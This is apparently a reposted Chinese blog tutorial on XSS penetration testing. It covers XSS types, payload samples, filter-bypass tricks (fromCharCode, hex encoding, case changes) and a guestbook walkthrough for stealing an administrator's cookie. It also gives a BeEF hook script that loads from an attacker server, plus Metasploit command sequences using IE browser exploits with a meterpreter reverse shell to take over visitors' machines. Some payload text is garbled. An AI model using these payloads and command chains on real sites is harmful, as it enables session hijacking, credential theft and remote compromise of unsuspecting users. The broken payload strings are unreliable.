zoukankan      html  css  js  c++  java
  • Web渗透测试(xss漏洞)

    Xss介绍——

    XSS (cross-site script) 跨站脚本自1996年诞生以来,一直被OWASP(open web application security project) 评为十大安全漏洞中的第二威胁漏洞。也有黑客把XSS当做新型的“缓冲区溢出攻击”而JavaScript是新型的shellcode20116月份,新浪微博爆发了XSS蠕虫攻击,仅持续16分钟,感染用户近33000个,危害十分严重。XSS最大的特点就是能注入恶意的代码到用户浏览器的网页上,从而达到劫持用户会话的目的。

    由于web应用程序对用户的输入过滤不严产生的。攻击者利用网站漏把恶意的脚本代码注入到网页中,当用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采用cookie资料窃取,会话劫持,钓鱼欺骗等攻击手段。

    危害——
    网络钓鱼,包括盗取各类的用户账号
    窃取用户cookie
    窃取用户浏览请回话
    强制弹出广告页面、刷流量
    网页挂马
    提升用户权限,进一步渗透网站
    传播跨站脚本蠕虫等等

    Xss脚本示例——

    <html>

    <head >xsx test </head >

    <body>

    <script>alert(“xss”)</script >

    </body>

    </html>

    这段代码使用alert函数来执行打开一个消息框,消息框中显示xss信息,使用xss弹出恶意警告框,代码为:

    escript>alert(“xss") </script>

    XSS输入也可能是htm代码段,如果使网页不停的刷新,代码为

    <meta http-equiv=”refresh” content ="0;” >

    嵌入其他网站链接的代码为:

    < ifame src http://xxxxx.com width =0 height =0> </ifame>

    Xss分类——

    反射型xss(一次性)

    存储型xss(持久有效)

    反射型:

    反射型XSS脚本也称作非持久型、参数型跨站脚本、这类型的脚本是最常见的也是使用最为广泛的一种,主要用于将恶意的脚本附加到URL地址的参数中
    如:http://www.xx.com/search.php.?key="><script>alert("xss")</script>一般使用的将构造好的URL发给受害者,是受害者点击触发,而且只执行一次。

    存储型:

    存储型XSS比反射型跨站脚本更具威胁性,并且可能影响到web服务器的自身安全。此类XSS不需要用户点击特定的URL就能执行脚本,攻击者事先将恶意JavaScript代码上传或存储到有漏洞服务器中,只要受害者浏览包含此恶意的代码的页面就会执行恶意代码。

    Xss常用工具——(火狐插件)

    Hackebar

    Live http headers

    Editor cookie

    Live HTTP Headers

    该工具可以用来抓取http/https的数据连接包括get post),获取web应用程序流出的流入的数据。我们可以利用该工具发掘web应用程序中的安全漏洞。

    Editor cookie

    Cookie信息修改器

    示例:

    留言板盗取cookie信息

    当管理审核后,弹出及有xss漏洞

    去注册一个免费xss平台,然后创建一个项目,查看代码,复制到留言板上

    然后xss免费平台就会返回内容

    这个就是网站管理员cookie

    绕过xss限制的几种办法

    magic_quote_gpc

    HEX编码

    改变大小写

    关闭标签

    绕过magic_quote_gpc

    magic_quotes_gpc=ONphp中的安全设置,开启后会把一些特殊字符进行轮换,比如’(

    引号)转换为”(引号)号转换为 转换为\

    比如<script> alert(“xss”);</script>会转换为<script> alert(”xss”);</script>这样XSS就不生效了。针对开启了magic quotes_gpc的网站,可以通过javascript中的String.fromCharCode方法来绕过,可以把alert(“XSS")转换为String.fromCharCode(108,101,114,116,40 34,88,83,83,34,41)那么XSS语句就变成了<script>String.fromCharCode(108,101,114,11640,34,88,83,83,34.,41,59) </script>String.fromCharCode()javascri中的字符申方法,用来 把ASCI转换为字符审

    HEX编码:

    可以对语句进行hex编码来绕过XSS规则。

    比如: <script> alert("xss");</script >

    可以转换为:

    %3c%73%63%72%69%70%74%61%6c965%72%74%28%22%783%73%22%29%3b%3c%2f%73%6

    在线网站:

    http://textmechanic.com/ASCII-Hex-Unicode-Base64-Converter.html

    http://www.asciitohex.com/

    改变大小写:

    在测试过程中,我们可以改变测试语句的大小来绕过xss规则,如<script> alert("xss");</script >可以转换为<ScRipt> Alert("Xss");</sCripT >

    关闭标签:

    <body><script> alert(“xss”);</script> < >

    XSS+Beef的使用

    示例1:利用beef劫持客户端浏览器

    启动beef(用户名beef,密码beef

    <script src="http://自己管理的服务器ip:3000/hook.js"></script>把这恶意代码上传到有xss漏洞的网站

    当有人访问这个网站的时候,恶意代码生效,我们返回本机beef控制台查看上线客户机

    然后劫持浏览器

     

    示例2.利用beef+msf拿用户shell(基于客户端ie6

    先劫持浏览器,然后启动msf

    msf > use exploit/windows/browser/ms10_002_aurora(选择漏洞模块)

    msf exploit(ms10_002_aurora) > set payload windows/meterpreter/reverse_tcp(选择回链)

    msf exploit(ms10_002_aurora) > set SRVHOST 192.168.230.156客户机访问的地址

    msf exploit(ms10_002_aurora) > set SRVPORT 7777客户机访问的端口

    msf exploit(ms10_002_aurora) > set URIPATH /网页的根/

    msf exploit(ms10_002_aurora) > set LHOST 192.168.230.100客户机回链,写自己的地址

    msf exploit(ms10_002_aurora) > set LPORT 4444回链端口

    msf exploit(ms10_002_aurora) > exploit 开始攻击

    msf生成的那个连接扔beef去,让客户端访问指定的网站就会触发这个漏洞,就可以拿到客户端权限。

     

    回车》键入sessions -i sessions -i 1shell(成功拿到客户端权限)

    示例3.利用beef+msf拿用户shell(基于客户端使用ie789

    先劫持浏览器

    msf > use exploit/windows/browser/ie_execcommand_uaf

    msf exploit(ie_execcommand_uaf) > show options

    msf exploit(ie_execcommand_uaf) > set SRVHOST 192.168.230.156

    msf exploit(ie_execcommand_uaf) > set SRVPORT 8888

    msf exploit(ie_execcommand_uaf) > set URIPATH /

    msf exploit(ie_execcommand_uaf) > exploit

    然后把生成的这个连接扔beef里,让客户端访问,msf就有返回回链会话,就可以拿到客户端权限了

    Xss漏洞扫描与留长期后门——

    常用工具:

    Wvs

    Safe3

    W3af

    Vega

    Xss扫描插件+burp(去下载扫描插件在导入就可以)

  • 相关阅读:
    Django终端打印SQL语句
    Django之缓存
    Django总结三
    Django之信号
    Django之Form的ModelForm
    git下
    Ajax实现文件的上传
    operator模块
    Django之Form自定义验证规则
    New Concept English Two 32 88
  • 原文地址:https://www.cnblogs.com/Hydraxx/p/8530906.html
Copyright © 2011-2022 走看看